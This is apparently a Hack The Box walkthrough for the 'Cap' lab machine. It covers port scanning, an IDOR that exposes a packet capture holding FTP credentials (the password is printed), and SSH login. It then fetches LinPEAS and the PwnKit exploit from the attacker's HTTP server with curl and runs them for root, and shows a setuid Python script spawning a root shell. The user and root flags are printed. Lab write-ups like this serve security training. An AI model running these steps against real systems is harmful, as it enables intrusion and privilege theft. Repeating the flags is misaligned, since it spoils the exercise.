HTB • Cap

Cap is an easy difficulty Linux machine running an HTTP server that performs administrative functions including performing network captures. Improper controls result in Insecure Direct Object Reference (IDOR) giving access to another user's capture. The capture contains plaintext credentials and can be used to gain foothold. A Linux capability is then leveraged to escalate to root.

Enumeration

Let’s do a port scan using Nmap to identify open ports, services and versions on the target machine. First find what’s open, then digs deeper into those specific services to find their versions and other details.

# '-p-' to scan all ports
# '-sS' for a stealth SYN scan
# '-Pn' to skip host discovery

┌──(kali㉿kali)-[~/htb/cap]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.142.146 -oN ports.nmap
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# This time scan the open ports only.
# '-sCV' to enable version detection and script scanning

┌──(kali㉿kali)-[~/htb/cap]
└─$ nmap -p21,22,80 -sCV --min-rate=1000 10.129.142.146 -oN scan.nmap
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Exploitation

Looking around we found the param of the “data/:id” route can be manipulated to get other users’ snapshots. When downloading the “data/0” PCAP file there are some plain text credential if we follow the FTP traffic in Wireshark.

Initial snapshot

Following the FTP traffic

Plain text credential

Let’s try to log in to the FTP service using the captured credentials.

┌──(kali㉿kali)-[~/htb/cap]
└─$ ftp nathan@10.129.142.146
Password: Buck3tH4TF0RM3!

230 Login successful.

ftp> pwd
Remote directory: /home/nathan

ftp> ls
-r--------    1 1001     1001           33 Aug 04 18:25 user.txt

ftp> get user.txt
226 Transfer complete.

ftp> exit
221 Goodbye.

┌──(kali㉿kali)-[~/htb/cap]
└─$ ls
scan.nmap  user.txt

┌──(kali㉿kali)-[~/htb/cap]
└─$ cat user.txt
4474a673ce36e55756dbd32c79148c46

What happen if we try to log in with the same credentials on the SSH service?

┌──(kali㉿kali)-[~/htb/cap]
└─$ ssh nathan@10.129.142.146

The authenticity of host '10.129.142.146 (10.129.142.146)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

nathan@10.129.142.146's password: Buck3tH4TF0RM3!

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Privilege Escalation

First, let scan the system with LinPEAS to find potential privilege escalation vectors.

# Download the LinPEAS script to our local machine.

┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh

┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ ls -l
-rw-rw-r-- 1 kali kali 956174 Aug  1 00:07 linpeas.sh

# Creating an http server to share the 'linpeas.sh' file

┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)

# Download the LinPEAS file from our local HTTP server to the target machine

nathan@cap:~$ curl -O http://10.10.14.25/linpeas.sh

nathan@cap:~$ chmod +x linpeas.sh

nathan@cap:~$ ls -l
-rw-rw-r-- 1 nathan nathan 956174 Aug  4 19:05 linpeas.sh

# Execute the LinPEAS script

nathan@cap:~$ ./linpeas.sh

[+] [CVE-2021-4034] PwnKit
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

Polkit Binary
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
pkexec version 0.105

We have found a potential privilege escalation vector with the PwnKit exploit (CVE-2021-4034). This vulnerability allows an unprivileged user to gain root privileges by exploiting the pkexec binary.

# Download the PwnKit exploit from GitHub in the attacker machine

┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ git clone https://github.com/ly4k/PwnKit

┌──(kali㉿kali)-[~/htb/cap/exploits]
└─$ cd PwnKit

┌──(kali㉿kali)-[~/htb/cap/exploits/PwnKit]
└─$ ls -l
-rwxrwxr-x 1 kali kali 18040 Aug  4 14:18 PwnKit

# Now, we can serve the PwnKit binary from our local HTTP server

nathan@cap:~$ curl -O http://10.10.14.25/PwnKit/PwnKit

nathan@cap:~$ chmod +x PwnKit

nathan@cap:~$ ls -l
-rwxrwxr-x 1 nathan nathan  18040 Aug  4 19:24 PwnKit
-rwxrwxr-x 1 nathan nathan 956174 Aug  4 19:05 linpeas.sh
drwxr-xr-x 3 nathan nathan   4096 Aug  4 19:06 snap
-r-------- 1 nathan nathan     33 Aug  4 18:25 user.txt

# Run the PwnKit binary to escalate our privileges to root.

nathan@cap:~$ ./PwnKit

root@cap:/home/nathan# whoami
root

root@cap:/home/nathan# cd /root

root@cap:~# ls -l
-r-------- 1 root root   33 Aug  4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23  2021 snap

root@cap:~# cat root.txt
c7c8f86598aea693cb329aaf41087c36

Alternative Privilege Escalation

We can also exploit the app.py file in the /var/www/html/ directory. The script uses the os.setuid(0) command to run tcpdump with root privileges, which can be exploited to gain root access. Let’s review the source code.

The code uses a “hacky” solution to run tcpdump as the root user os.setuid(0), which is necessary for tcpdump to function, before returning to its original permissions os.setuid(1000).

nathan@cap:~$ cd /var/www/html/

nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27  2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25  2021 app.py
drwxr-xr-x 6 root   root   4096 May 23  2021 static
drwxr-xr-x 2 root   root   4096 May 23  2021 templates
drwxr-xr-x 2 root   root   4096 Aug  4 18:48 upload

nathan@cap:/var/www/html$ nano app.py
#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

...
...
...

@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
        get_lock()
        pcapid = get_appid()
        increment_appid()
        release_lock()

        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #os.setuid(0)
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
        os.system(command)
        #os.setuid(1000)

        return redirect("/data/" + str(pcapid))

We can create a malicious file named exploit.py that will execute a shell with root privileges when accessed (You can do it using the python interpreter too).

nathan@cap:/var/www/html$ nano exploit.py

#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")

Once created we can execute it to get the root shell

nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27  2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25  2021 app.py
-rw-rw-r-- 1 nathan nathan   65 Aug  4 19:41 exploit.py
drwxr-xr-x 6 root   root   4096 May 23  2021 static
drwxr-xr-x 2 root   root   4096 May 23  2021 templates
drwxr-xr-x 2 root   root   4096 Aug  4 18:48 upload

nathan@cap:/var/www/html$ python3 exploit.py

root@cap:/var/www/html# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

root@cap:~# cd /root

root@cap:/root# ls -l
-r-------- 1 root root   33 Aug  4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23  2021 snap

root@cap:/root# cat root.txt
c7c8f86598aea693cb329aaf41087c36